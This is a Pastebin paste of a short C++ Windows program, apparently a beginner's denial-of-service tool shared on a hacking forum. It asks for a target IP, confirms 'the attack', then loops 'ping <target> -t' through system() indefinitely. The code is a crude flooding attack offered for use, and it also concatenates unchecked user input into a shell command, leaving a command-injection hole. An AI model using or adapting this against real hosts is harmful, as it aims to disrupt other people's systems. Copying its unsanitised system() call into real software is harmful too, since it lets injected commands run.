Advertisement
DavidTheTech

Fixed Code For Oscar Lajgaard

Oct 26th, 2016
242
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 0.87 KB | None | 0 0
  1. //I have fixed the code for Oscar Lajgaard over at Null-Byte
  2. //http://null-byte.wonderhowto.com/forum/why-doesnt-work-c-0174571/
  3. //Fixed by DavidTheTech @ http://creator.wonderhowto.com/davidfedrick/
  4.  
  5. #include <windows.h>
  6. #include <string>
  7. #include <iostream>
  8.  
  9. using namespace std;
  10.  
  11. int main()
  12. {
  13.     string target = "";
  14.     string perform = "false";
  15.     string YesOrNo = "N";
  16.     string ip;
  17.     system("cls");
  18.     system("color a");
  19.  
  20.     cout << "Please enter the ip of the target: \n";
  21.     cin >> target;
  22.     Sleep(1000);
  23.     cout << "Do you wanna start the attack now? (Y/N) ";
  24.     cin >> YesOrNo;
  25.    
  26.     if (YesOrNo == "Y" || YesOrNo == "y")
  27.     {
  28.         perform = "true";
  29.         system("color a");
  30.         cout << "Setting up..." << endl;
  31.     }
  32.     else
  33.     {
  34.         cout << "Pausing!";
  35.         system("pause");
  36.     }
  37.    
  38.     while (perform != "false")
  39.     {
  40.         ip = "ping " + target + " -t";
  41.         system(ip.c_str());
  42.         system("cls");
  43.     }
  44. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement